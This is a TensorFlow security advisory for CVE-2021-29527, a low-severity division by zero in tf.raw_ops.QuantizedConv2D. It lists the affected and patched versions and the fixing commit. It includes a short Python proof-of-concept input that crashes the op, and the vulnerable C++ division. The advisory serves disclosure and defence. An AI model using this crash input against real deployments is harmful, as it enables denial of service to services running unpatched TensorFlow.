Division by 0 in `QuantizedConv2D`

Low **mihaimaruseac** published **GHSA-x4g7-fvjj-prg8** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can trigger a division by 0 in `tf.raw_ops.QuantizedConv2D`:

```
import tensorflow as tf

input = tf.zeros([1, 1, 1, 1], dtype=tf.quint8)
filter = tf.constant([], shape=[1, 0, 1, 1], dtype=tf.quint8)
min_input = tf.constant(0.0)
max_input = tf.constant(0.0001)
min_filter = tf.constant(0.0)
max_filter = tf.constant(0.0001)
strides = [1, 1, 1, 1]
padding = "SAME"

tf.raw_ops.QuantizedConv2D(input=input, filter=filter, min_input=min_input, max_input=max_input, min_filter=min_filter, max_filter=max_filter, strides=strides, padding=padding)
```

This is because the implementation does a division by a quantity that is controlled by the caller:

```
const int filter_value_count = filter_width * filter_height * input_depth;
const int64 patches_per_chunk = kMaxChunkSize / (filter_value_count * sizeof(T1));
```

Patches

We have patched the issue in GitHub commit cfa91be9863a91d5105a3b4941096044ab32036b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29527

Weaknesses

No CWEs